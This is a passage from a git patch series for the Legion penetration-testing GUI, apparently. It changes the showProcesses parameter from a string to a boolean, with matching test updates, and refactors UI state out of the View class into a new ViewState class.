log): # them or when an existing project is opened. # to speed up the queries we replace the columns we don't need by zeros (the reason we need all the columns is # we are using the same model to display process information everywhere) - def getProcesses(self, filters, showProcesses: str = 'noNmap', sort: str = 'desc', ncol: str = 'id'): + def getProcesses(self, filters, showProcesses: Union[str, bool] = 'noNmap', sort: str = 'desc', ncol: str = 'id'): # we do not fetch nmap processes because these are not displayed in the host tool tabs / tools if showProcesses == 'noNmap': query = ('SELECT "0", "0", "0", process.name, "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0" ' 'FROM process AS process WHERE process.closed = "False" AND process.name != "nmap" ' 'GROUP BY process.name') result = self.dbAdapter.metadata.bind.execute(query).fetchall() - elif showProcesses == 'False': + elif not showProcesses: query = ('SELECT process.id, process.hostIp, process.tabTitle, process.outputfile, output.output ' 'FROM process AS process INNER JOIN process_output AS output ON process.id = output.processId ' 'WHERE process.display = ? AND process.closed = "False" order by process.id desc') diff --git a/tests/db/repositories/test_ProcessRepository.py b/tests/db/repositories/test_ProcessRepository.py index e380fcfb..5e3390c8 100644 --- a/tests/db/repositories/test_ProcessRepository.py +++ b/tests/db/repositories/test_ProcessRepository.py @@ -58,7 +58,7 @@ def test_getProcesses_WhenProvidedShowProcessesWithFlagFalse_ReturnsProcesses(se 'WHERE process.display = ? AND process.closed = "False" order by process.id desc') self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll( [['some-process'], ['some-process2']]) - processes = self.processRepository.getProcesses(self.mockFilters, showProcesses='False') + processes = self.processRepository.getProcesses(self.mockFilters, showProcesses=False) self.assertEqual(processes, [['some-process'], ['some-process2']]) self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery, 'False') @@ -71,7 +71,7 @@ def test_getProcesses_WhenProvidedShowProcessesWithNoFlag_ReturnsProcesses(self) self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery, 'True') def test_storeProcess_WhenProvidedAProcess_StoreProcess(self): - processId = self.processRepository.storeProcess(self.mockProcess) + self.processRepository.storeProcess(self.mockProcess) self.mockDbSession.add.assert_called_once() self.mockDbAdapter.commit.assert_called_once() diff --git a/ui/view.py b/ui/view.py index 1ce95ecc..2dc95b9c 100644 --- a/ui/view.py +++ b/ui/view.py @@ -1394,14 +1394,13 @@ def removeToolTabs(self, position=-1): # this function restores the tool tabs based on the DB content (should be called when opening an existing project). def restoreToolTabs(self): - tools = self.controller.getProcessesFromDB(self.filters, showProcesses = False) # false means we are fetching processes with display flag=False, which is the case for every process once a project is closed. + tools = self.controller.getProcessesFromDB(self.filters, showProcesses=False) # false means we are fetching processes with display flag=False, which is the case for every process once a project is closed. nbr = len(tools) # show a progress bar because this could take long if nbr==0: nbr=1 progress = 100.0 / nbr totalprogress = 0 self.tick.emit(int(totalprogress)) - for t in tools: if not t.tabTitle == '': if 'screenshot' in str(t.tabTitle): From 6dbceed00070b8c7afa92d3d995e9c9035c10ea0 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Mon, 7 Oct 2019 17:55:34 -0700 Subject: [PATCH 308/450] Extract View State from View - Extracted View State from its View counterpart in order to manage it independently - It is still a mutable global state which isn't ideal, but it is now easier to reason about the changes that happen in View via the View State. --- legion.py | 3 +- ui/ViewState.py | 53 +++++++++++++ ui/view.py | 202 ++++++++++++++++++++++-------------------------- 3 files changed, 148 insertions(+), 110 deletions(-) create mode 100644 ui/ViewState.py diff --git a/legion.py b/legion.py index 88b8bb3a..d8a530c1 100644 --- a/legion.py +++ b/legion.py @@ -96,7 +96,8 @@ # Model prep (logic, db and models) logic = Logic(project_name=tf.name, db=db, shell=shell, hostRepository=hostRepository) - view = View(ui, MainWindow, shell) # View prep (gui) + viewState = ViewState() + view = View(viewState, ui, MainWindow, shell) # View prep (gui) controller = Controller(view, logic, hostRepository) # Controller prep (communication between model and view) view.qss = qss_file diff --git a/ui/ViewState.py b/ui/ViewState.py new file mode 100644 index 00000000..ab7a49a5 --- /dev/null +++ b/ui/ViewState.py @@ -0,0 +1,53 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from app.auxiliary import Filters + + +# Defines the state of the UI at any given moment +# Defaults are the initial state of the UI +class ViewState: + # Indicator if any changes have happened since last save (default: False [no changes]) + dirty: bool = False + # Indicator if 'Save As..' dialog should be used (default: True) + firstSave = True + # Indicator of which tabs should be displayed for each host (default: empty dictionary) + hostTabs = dict() + # Indicator of the numbering of the bruteforce tabs, incremented when a new tab is added (default: 1) + bruteTabCount = 1 + # to choose what to display in each panel (default: base filters) + filters = Filters() + # Indicator of which host was clicked last (default: None) + lastHostIdClicked = '' + # Indicator of which IP Address was clicked on last (default: None) + ip_clicked = '' + # Indicator of which Service was clicked on last (default: None) + service_clicked = '' + # Indicator of which Tool was clicked on last (default: None) + tool_clicked = '' + # Indicator of which script was clicked on last (default: None) + script_clicked = '' + # Indicator of which tool host was clicked on last (default: None) + tool_host_clicked = '' + # these variables indicate that the corresponding table needs to be updated. + # 'lazy' means we only update a table at the last possible minute - before the user needs to see it + lazy_update_hosts = False + lazy_update_services = False + lazy_update_tools = False + # Indicator if a context menu is showing (important to avoid disrupting the user) (default: False) + menuVisible = False + diff --git a/ui/view.py b/ui/view.py index 2dc95b9c..9a8c4289 100644 --- a/ui/view.py +++ b/ui/view.py @@ -18,6 +18,7 @@ from PyQt5 import QtWidgets, QtGui, QtCore from app.shell.Shell import Shell +from ui.ViewState import ViewState from ui.gui import * from ui.dialogs import * from ui.settingsDialog import * @@ -39,7 +40,7 @@ class View(QtCore.QObject): tick = QtCore.pyqtSignal(int, name="changed") # signal used to update the progress bar - def __init__(self, ui, ui_mainwindow, shell: Shell): + def __init__(self, viewState: ViewState, ui, ui_mainwindow, shell: Shell): QtCore.QObject.__init__(self) self.ui = ui self.ui_mainwindow = ui_mainwindow # TODO: retrieve window dimensions/location from settings @@ -54,6 +55,7 @@ def __init__(self, ui, ui_mainwindow, shell: Shell): self.toolsTableViewSort = 'desc' self.toolsTableViewSortColumn = 'id' self.shell = shell + self.viewState = viewState def setController(self, controller): # the view needs access to controller methods to link gui actions with real actions self.controller = controller @@ -77,25 +79,9 @@ def startOnce(self): # initialisations (globals, etc) def start(self, title='*untitled'): - self.dirty = False # to know if the project has been saved - self.firstSave = True # to know if we should use the save as dialog (should probably be False until we add/import a host) - self.hostTabs = dict() # to keep track of which tabs should be displayed for each host - self.bruteTabCount = 1 # to keep track of the numbering of the bruteforce tabs (incremented when a new tab is added) - - self.filters = Filters() # to choose what to display in each panel - + self.viewState = ViewState() self.ui.keywordTextInput.setText('') # clear keyword filter - self.lastHostIdClicked = '' # TODO: check if we can get rid of this one. - self.ip_clicked = '' # useful when updating interfaces (serves as memory) - self.service_clicked = '' # useful when updating interfaces (serves as memory) - self.tool_clicked = '' # useful when updating interfaces (serves as memory) - self.script_clicked = '' # useful when updating interfaces (serves as memory) - self.tool_host_clicked = '' # useful when updating interfaces (serves as memory) - self.lazy_update_hosts = False # these variables indicate that the corresponding table needs to be updated. - self.lazy_update_services = False # 'lazy' means we only update a table at the last possible minute - before the user needs to see it - self.lazy_update_tools = False - self.menuVisible = False # to know if a context menu is showing (important to avoid disrupting the user) self.ProcessesTableModel = None # fixes bug when sorting processes for the first time self.ToolsTableModel = None self.setupProcessesTableView() @@ -225,10 +211,10 @@ def yesNoDialog(self, message, title): return dialog def setDirty(self, status=True): # this function is called for example when the user edits notes - self.dirty = status + self.viewState.dirty = status title = '' - if self.dirty: + if self.viewState.dirty: title = '*' if self.controller.isTempProject(): title += 'untitled' @@ -265,7 +251,7 @@ def dealWithRunningProcesses(self, exiting=False): return True def dealWithCurrentProject(self, exiting=False): # returns True if we can proceed with: creating/opening a project or exiting - if self.dirty: # if there are unsaved changes, show save dialog first + if self.viewState.dirty: # if there are unsaved changes, show save dialog first if not self.saveOrDiscard(): # if the user canceled, stop return False @@ -310,7 +296,7 @@ def openExistingProject(self): projectType = 'sparta' self.controller.openExistingProject(filename, projectType) - self.firstSave = False # overwrite this variable because we are opening an existing file + self.viewState.firstSave = False # overwrite this variable because we are opening an existing file self.displayAddHostsOverlay(False) # do not show the overlay because the hosttableview is already populated else: log.info('No file chosen..') @@ -320,11 +306,11 @@ def connectSaveProject(self): def saveProject(self): self.ui.statusbar.showMessage('Saving..') - if self.firstSave: + if self.viewState.firstSave: self.saveProjectAs() else: log.info('Saving project..') - self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) self.setDirty(False) self.ui.statusbar.showMessage('Saved!', msecs=1000) @@ -337,7 +323,7 @@ def saveProjectAs(self): self.ui.statusbar.showMessage('Saving..') log.info('Saving project..') - self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', self.controller.getCWD(), filter='Legion session (*.legion)', options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] @@ -363,7 +349,7 @@ def saveProjectAs(self): if not filename == '': self.setDirty(False) - self.firstSave = False + self.viewState.firstSave = False self.ui.statusbar.showMessage('Saved!', msecs=1000) self.controller.updateOutputFolder() log.info('Saved!') @@ -510,12 +496,12 @@ def hostTableClick(self): row = self.ui.HostsTableView.selectionModel().selectedRows()[len(self.ui.HostsTableView.selectionModel().selectedRows())-1].row() print(row) ip = self.HostsTableModel.getHostIPForRow(row) - self.ip_clicked = ip + self.viewState.ip_clicked = ip save = self.ui.ServicesTabWidget.currentIndex() self.removeToolTabs() - self.restoreToolTabsForHost(self.ip_clicked) + self.restoreToolTabsForHost(self.viewState.ip_clicked) self.ui.ServicesTabWidget.setCurrentIndex(save) # display services tab if we are coming from a dynamic tab (non-fixed) - self.updateRightPanel(self.ip_clicked) + self.updateRightPanel(self.viewState.ip_clicked) else: self.removeToolTabs() self.updateRightPanel('') @@ -529,8 +515,8 @@ def serviceNamesTableClick(self): if self.ui.ServiceNamesTableView.selectionModel().selectedRows(): row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len(self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() print(row) - self.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) - self.updatePortsByServiceTableView(self.service_clicked) + self.viewState.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) + self.updatePortsByServiceTableView(self.viewState.service_clicked) ### @@ -541,9 +527,9 @@ def toolsTableClick(self): if self.ui.ToolsTableView.selectionModel().selectedRows(): row = self.ui.ToolsTableView.selectionModel().selectedRows()[len(self.ui.ToolsTableView.selectionModel().selectedRows())-1].row() print(row) - self.tool_clicked = self.ToolsTableModel.getToolNameForRow(row) - self.updateToolHostsTableView(self.tool_clicked) - self.displayScreenshots(self.tool_clicked == 'screenshooter') # if we clicked on the screenshooter we need to display the screenshot widget + self.viewState.tool_clicked = self.ToolsTableModel.getToolNameForRow(row) + self.updateToolHostsTableView(self.viewState.tool_clicked) + self.displayScreenshots(self.viewState.tool_clicked == 'screenshooter') # if we clicked on the screenshooter we need to display the screenshot widget # update the updateToolHostsTableView when the user closes all the host tabs # TODO: this doesn't seem right @@ -560,8 +546,8 @@ def scriptTableClick(self): if self.ui.ScriptsTableView.selectionModel().selectedRows(): row = self.ui.ScriptsTableView.selectionModel().selectedRows()[len(self.ui.ScriptsTableView.selectionModel().selectedRows())-1].row() print(row) - self.script_clicked = self.ScriptsTableModel.getScriptDBIdForRow(row) - self.updateScriptsOutputView(self.script_clicked) + self.viewState.script_clicked = self.ScriptsTableModel.getScriptDBIdForRow(row) + self.updateScriptsOutputView(self.viewState.script_clicked) ### @@ -573,10 +559,10 @@ def toolHostsClick(self): if self.ui.ToolHostsTableView.selectionModel().selectedRows(): row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() print(row) - self.tool_host_clicked = self.ToolHostsTableModel.getProcessIdForRow(row) + self.viewState.tool_host_clicked = self.ToolHostsTableModel.getProcessIdForRow(row) ip = self.ToolHostsTableModel.getIpForRow(row) - if self.tool_clicked == 'screenshooter': + if self.viewState.tool_clicked == 'screenshooter': filename = self.ToolHostsTableModel.getOutputfileForRow(row) self.ui.ScreenshotWidget.open(str(self.controller.getOutputFolder())+'/screenshots/'+str(filename)) @@ -587,11 +573,11 @@ def toolHostsClick(self): self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit).setParent(None) tabs = [] # fetch tab list for this host (if any) - if str(ip) in self.hostTabs: - tabs = self.hostTabs[str(ip)] + if str(ip) in self.viewState.hostTabs: + tabs = self.viewState.hostTabs[str(ip)] for tab in tabs: # place the tool output textview in the tools display panel - if tab.findChild(QtWidgets.QPlainTextEdit) and str(tab.findChild(QtWidgets.QPlainTextEdit).property('dbId')) == str(self.tool_host_clicked): + if tab.findChild(QtWidgets.QPlainTextEdit) and str(tab.findChild(QtWidgets.QPlainTextEdit).property('dbId')) == str(self.viewState.tool_host_clicked): self.ui.DisplayWidgetLayout.addWidget(tab.findChild(QtWidgets.QPlainTextEdit)) break @@ -604,17 +590,17 @@ def connectAdvancedFilterClick(self): self.ui.FilterAdvancedButton.clicked.connect(self.advancedFilterClick) def advancedFilterClick(self, current): - self.filterdialog.setCurrentFilters(self.filters.getFilters()) # to make sure we don't show filters than have been clicked but cancelled + self.filterdialog.setCurrentFilters(self.viewState.filters.getFilters()) # to make sure we don't show filters than have been clicked but cancelled self.filterdialog.show() def updateFilter(self): f = self.filterdialog.getFilters() - self.filters.apply(f[0], f[1], f[2], f[3], f[4], f[5], f[6], f[7], f[8]) + self.viewState.filters.apply(f[0], f[1], f[2], f[3], f[4], f[5], f[6], f[7], f[8]) self.ui.keywordTextInput.setText(" ".join(f[8])) self.updateInterface() def updateFilterKeywords(self): - self.filters.setKeywords(unicode(self.ui.keywordTextInput.text()).split()) + self.viewState.filters.setKeywords(unicode(self.ui.keywordTextInput.text()).split()) self.updateInterface() ### @@ -682,7 +668,7 @@ def switchTabClick(self): self.restoreToolTabWidget() ### - if self.lazy_update_hosts == True: + if self.viewState.lazy_update_hosts == True: self.updateHostsTableView() ### self.hostTableClick() @@ -690,16 +676,16 @@ def switchTabClick(self): elif selectedTab == 'Services': self.ui.ServicesTabWidget.setCurrentIndex(0) self.removeToolTabs(0) # remove the tool tabs - self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) - if self.lazy_update_services == True: + self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + if self.viewState.lazy_update_services == True: self.updateServiceNamesTableView() self.serviceNamesTableClick() #elif selectedTab == 'CVEs': # self.ui.ServicesTabWidget.setCurrentIndex(0) # self.removeToolTabs(0) # remove the tool tabs - # self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) - # if self.lazy_update_services == True: + # self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + # if self.viewState.lazy_update_services == True: # self.updateServiceNamesTableView() # self.serviceNamesTableClick() @@ -727,10 +713,10 @@ def switchMainTabClick(self): ### def setVisible(self): # indicates that a context menu is showing so that the ui doesn't get updated disrupting the user - self.menuVisible = True + self.viewState.menuVisible = True def setInvisible(self): # indicates that a context menu has now closed and any pending ui updates can take place now - self.menuVisible = False + self.viewState.menuVisible = False ### def connectHostsTableContextMenu(self): @@ -739,7 +725,7 @@ def connectHostsTableContextMenu(self): def contextMenuHostsTableView(self, pos): if len(self.ui.HostsTableView.selectionModel().selectedRows()) > 0: row = self.ui.HostsTableView.selectionModel().selectedRows()[len(self.ui.HostsTableView.selectionModel().selectedRows())-1].row() - self.ip_clicked = self.HostsTableModel.getHostIPForRow(row) # because when we right click on a different host, we need to select it + self.viewState.ip_clicked = self.HostsTableModel.getHostIPForRow(row) # because when we right click on a different host, we need to select it self.ui.HostsTableView.selectRow(row) # select host when right-clicked self.hostTableClick() @@ -750,7 +736,7 @@ def contextMenuHostsTableView(self, pos): action = menu.exec_(self.ui.HostsTableView.viewport().mapToGlobal(pos)) if action: - self.controller.handleHostAction(self.ip_clicked, hostid, actions, action) + self.controller.handleHostAction(self.viewState.ip_clicked, hostid, actions, action) ### @@ -760,11 +746,11 @@ def connectServiceNamesTableContextMenu(self): def contextMenuServiceNamesTableView(self, pos): if len(self.ui.ServiceNamesTableView.selectionModel().selectedRows()) > 0: row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len(self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() - self.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) + self.viewState.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) self.ui.ServiceNamesTableView.selectRow(row) # select service when right-clicked self.serviceNamesTableClick() - menu, actions, shiftPressed = self.controller.getContextMenuForServiceName(self.service_clicked) + menu, actions, shiftPressed = self.controller.getContextMenuForServiceName(self.viewState.service_clicked) menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) action = menu.exec_(self.ui.ServiceNamesTableView.viewport().mapToGlobal(pos)) @@ -840,7 +826,7 @@ def contextToolHostsTableContextMenu(self, pos): action = menu.exec_(self.ui.ToolHostsTableView.viewport().mapToGlobal(pos)) if action: - self.controller.handleHostAction(self.ip_clicked, hostid, actions, action) + self.controller.handleHostAction(self.viewState.ip_clicked, hostid, actions, action) ### @@ -934,11 +920,10 @@ def contextMenuScreenshot(self, pos): def updateHostsTableView(self): headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] - print(str(self.controller.getHostsFromDB(self.filters))) - self.HostsTableModel = HostsTableModel(self.controller.getHostsFromDB(self.filters), headers) + self.HostsTableModel = HostsTableModel(self.controller.getHostsFromDB(self.viewState.filters), headers) self.ui.HostsTableView.setModel(self.HostsTableModel) - self.lazy_update_hosts = False # to indicate that it doesn't need to be updated anymore + self.viewState.lazy_update_hosts = False # to indicate that it doesn't need to be updated anymore for i in [0, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]: # hide some columns self.ui.HostsTableView.setColumnHidden(i, True) @@ -950,8 +935,8 @@ def updateHostsTableView(self): for row in range(self.HostsTableModel.rowCount("")): ips.append(self.HostsTableModel.getHostIPForRow(row)) - if self.ip_clicked in ips: # the ip we previously clicked may not be visible anymore (eg: due to filters) - row = self.HostsTableModel.getRowForIp(self.ip_clicked) + if self.viewState.ip_clicked in ips: # the ip we previously clicked may not be visible anymore (eg: due to filters) + row = self.HostsTableModel.getRowForIp(self.viewState.ip_clicked) else: row = 0 # or select the first row @@ -961,17 +946,17 @@ def updateHostsTableView(self): def updateServiceNamesTableView(self): headers = ["Name"] - self.ServiceNamesTableModel = ServiceNamesTableModel(self.controller.getServiceNamesFromDB(self.filters), headers) + self.ServiceNamesTableModel = ServiceNamesTableModel(self.controller.getServiceNamesFromDB(self.viewState.filters), headers) self.ui.ServiceNamesTableView.setModel(self.ServiceNamesTableModel) - self.lazy_update_services = False # to indicate that it doesn't need to be updated anymore + self.viewState.lazy_update_services = False # to indicate that it doesn't need to be updated anymore services = [] # ensure that there is always something selected for row in range(self.ServiceNamesTableModel.rowCount("")): services.append(self.ServiceNamesTableModel.getServiceNameForRow(row)) - if self.service_clicked in services: # the service we previously clicked may not be visible anymore (eg: due to filters) - row = self.ServiceNamesTableModel.getRowForServiceName(self.service_clicked) + if self.viewState.service_clicked in services: # the service we previously clicked may not be visible anymore (eg: due to filters) + row = self.ServiceNamesTableModel.getRowForServiceName(self.viewState.service_clicked) else: row = 0 # or select the first row @@ -981,17 +966,17 @@ def updateServiceNamesTableView(self): def setupToolsTableView(self): headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ToolsTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, showProcesses = 'noNmap', sort = self.toolsTableViewSort, ncol = self.toolsTableViewSortColumn), headers) + self.ToolsTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.viewState.filters, showProcesses = 'noNmap', sort = self.toolsTableViewSort, ncol = self.toolsTableViewSortColumn), headers) self.ui.ToolsTableView.setModel(self.ToolsTableModel) def updateToolsTableView(self): if self.ui.MainTabWidget.tabText(self.ui.MainTabWidget.currentIndex()) == 'Scan' and self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ToolsTableModel.setDataList(self.controller.getProcessesFromDB(self.filters, showProcesses = 'noNmap', sort = self.toolsTableViewSort, ncol = self.toolsTableViewSortColumn)) + self.ToolsTableModel.setDataList(self.controller.getProcessesFromDB(self.viewState.filters, showProcesses = 'noNmap', sort = self.toolsTableViewSort, ncol = self.toolsTableViewSortColumn)) self.ui.ToolsTableView.repaint() self.ui.ToolsTableView.update() - self.lazy_update_tools = False # to indicate that it doesn't need to be updated anymore + self.viewState.lazy_update_tools = False # to indicate that it doesn't need to be updated anymore # Hides columns we don't want to see for i in [0, 1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20]: # hide some columns @@ -1001,8 +986,8 @@ def updateToolsTableView(self): for row in range(self.ToolsTableModel.rowCount("")): tools.append(self.ToolsTableModel.getToolNameForRow(row)) - if self.tool_clicked in tools: # the tool we previously clicked may not be visible anymore (eg: due to filters) - row = self.ToolsTableModel.getRowForToolName(self.tool_clicked) + if self.viewState.tool_clicked in tools: # the tool we previously clicked may not be visible anymore (eg: due to filters) + row = self.ToolsTableModel.getRowForToolName(self.viewState.tool_clicked) else: row = 0 # or select the first row @@ -1014,7 +999,7 @@ def updateToolsTableView(self): def updateServiceTableView(self, hostIP): headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] - self.ServicesTableModel = ServicesTableModel(self.controller.getPortsAndServicesForHostFromDB(hostIP, self.filters), headers) + self.ServicesTableModel = ServicesTableModel(self.controller.getPortsAndServicesForHostFromDB(hostIP, self.viewState.filters), headers) self.ui.ServicesTableView.setModel(self.ServicesTableModel) for i in range(0, len(headers)): # reset all the hidden columns @@ -1027,7 +1012,7 @@ def updateServiceTableView(self, hostIP): def updatePortsByServiceTableView(self, serviceName): headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] - self.PortsByServiceTableModel = ServicesTableModel(self.controller.getHostsAndPortsForServiceFromDB(serviceName, self.filters), headers) + self.PortsByServiceTableModel = ServicesTableModel(self.controller.getHostsAndPortsForServiceFromDB(serviceName, self.viewState.filters), headers) self.ui.ServicesTableView.setModel(self.PortsByServiceTableModel) for i in range(0, len(headers)): # reset all the hidden columns @@ -1077,8 +1062,8 @@ def updateScriptsView(self, hostIP): for row in range(self.ScriptsTableModel.rowCount("")): scripts.append(self.ScriptsTableModel.getScriptDBIdForRow(row)) - if self.script_clicked in scripts: # the script we previously clicked may not be visible anymore (eg: due to filters) - row = self.ScriptsTableModel.getRowForDBId(self.script_clicked) + if self.viewState.script_clicked in scripts: # the script we previously clicked may not be visible anymore (eg: due to filters) + row = self.ScriptsTableModel.getRowForDBId(self.viewState.script_clicked) else: row = 0 # or select the first row @@ -1111,10 +1096,10 @@ def updateScriptsOutputView(self, scriptId): # TODO: check if this hack can be improved because we are calling setDirty more than we need def updateNotesView(self, hostid): - self.lastHostIdClicked = str(hostid) + self.viewState.lastHostIdClicked = str(hostid) note = self.controller.getNoteFromDB(hostid) - saved_dirty = self.dirty # save the status so we can restore it after we update the note panel + saved_dirty = self.viewState.dirty # save the status so we can restore it after we update the note panel self.ui.NotesTextEdit.clear() # clear the text box from the previous notes if note: @@ -1137,8 +1122,8 @@ def updateToolHostsTableView(self, toolname): for row in range(self.ToolHostsTableModel.rowCount("")): ids.append(self.ToolHostsTableModel.getProcessIdForRow(row)) - if self.tool_host_clicked in ids: # the host we previously clicked may not be visible anymore (eg: due to filters) - row = self.ToolHostsTableModel.getRowForDBId(self.tool_host_clicked) + if self.viewState.tool_host_clicked in ids: # the host we previously clicked may not be visible anymore (eg: due to filters) + row = self.ToolHostsTableModel.getRowForDBId(self.viewState.tool_host_clicked) else: row = 0 # or select the first row @@ -1147,13 +1132,12 @@ def updateToolHostsTableView(self, toolname): self.ui.ToolHostsTableView.selectRow(row) self.toolHostsClick() - def updateRightPanel(self, hostIP): self.updateServiceTableView(hostIP) self.updateScriptsView(hostIP) self.updateCvesByHostView(hostIP) self.updateInformationView(hostIP) # populate host info tab - self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) if hostIP: self.updateNotesView(self.HostsTableModel.getHostIdForRow(self.HostsTableModel.getRowForIp(hostIP))) @@ -1167,7 +1151,7 @@ def displayToolPanel(self, display=False): self.ui.splitter_3.show() self.ui.splitter.setSizes([self.leftPanelSize, 0, size]) # reset hoststableview width - if self.tool_clicked == 'screenshooter': + if self.viewState.tool_clicked == 'screenshooter': self.displayScreenshots(True) else: self.displayScreenshots(False) @@ -1203,13 +1187,13 @@ def displayAddHostsOverlay(self, display=False): def setupProcessesTableView(self): headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ProcessesTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, showProcesses = True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn), headers) + self.ProcessesTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.viewState.filters, showProcesses = True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn), headers) self.ui.ProcessesTableView.setModel(self.ProcessesTableModel) self.ProcessesTableModel.sort(15, Qt.DescendingOrder) def updateProcessesTableView(self): headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ProcessesTableModel.setDataList(self.controller.getProcessesFromDB(self.filters, showProcesses = True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn)) + self.ProcessesTableModel.setDataList(self.controller.getProcessesFromDB(self.viewState.filters, showProcesses = True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn)) self.ui.ProcessesTableView.repaint() self.ui.ProcessesTableView.update() @@ -1257,18 +1241,18 @@ def updateInterface(self): if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Hosts': self.updateHostsTableView() - self.lazy_update_services = True - self.lazy_update_tools = True + self.viewState.lazy_update_services = True + self.viewState.lazy_update_tools = True if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Services': self.updateServiceNamesTableView() - self.lazy_update_hosts = True - self.lazy_update_tools = True + self.viewState.lazy_update_hosts = True + self.viewState.lazy_update_tools = True if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': self.updateToolsTableView() - self.lazy_update_hosts = True - self.lazy_update_services = True + self.viewState.lazy_update_hosts = True + self.viewState.lazy_update_services = True #################### TOOL TABS #################### @@ -1304,15 +1288,15 @@ def createNewTabForHost(self, ip, tabTitle, restoring=False, content='', filenam tabindex = self.ui.ServicesTabWidget.addTab(tempWidget, str(tabTitle)) hosttabs = [] # fetch tab list for this host (if any) - if str(ip) in self.hostTabs: - hosttabs = self.hostTabs[str(ip)] + if str(ip) in self.viewState.hostTabs: + hosttabs = self.viewState.hostTabs[str(ip)] if 'screenshot' in str(tabTitle): hosttabs.append(tempWidget.scrollArea) # add the new tab to the list else: hosttabs.append(tempWidget) # add the new tab to the list - self.hostTabs.update({str(ip):hosttabs}) + self.viewState.hostTabs.update({str(ip):hosttabs}) return tempTextView @@ -1370,11 +1354,11 @@ def closeHostToolTab(self, index): # remove tab from host tabs list hosttabs = [] - for ip in self.hostTabs.keys(): - if self.ui.ServicesTabWidget.currentWidget() in self.hostTabs[ip]: - hosttabs = self.hostTabs[ip] + for ip in self.viewState.hostTabs.keys(): + if self.ui.ServicesTabWidget.currentWidget() in self.viewState.hostTabs[ip]: + hosttabs = self.viewState.hostTabs[ip] hosttabs.remove(self.ui.ServicesTabWidget.currentWidget()) - self.hostTabs.update({ip:hosttabs}) + self.viewState.hostTabs.update({ip:hosttabs}) break self.controller.storeCloseTabStatusInDB(dbId) # update the closed status in the db - getting the dbid @@ -1394,7 +1378,7 @@ def removeToolTabs(self, position=-1): # this function restores the tool tabs based on the DB content (should be called when opening an existing project). 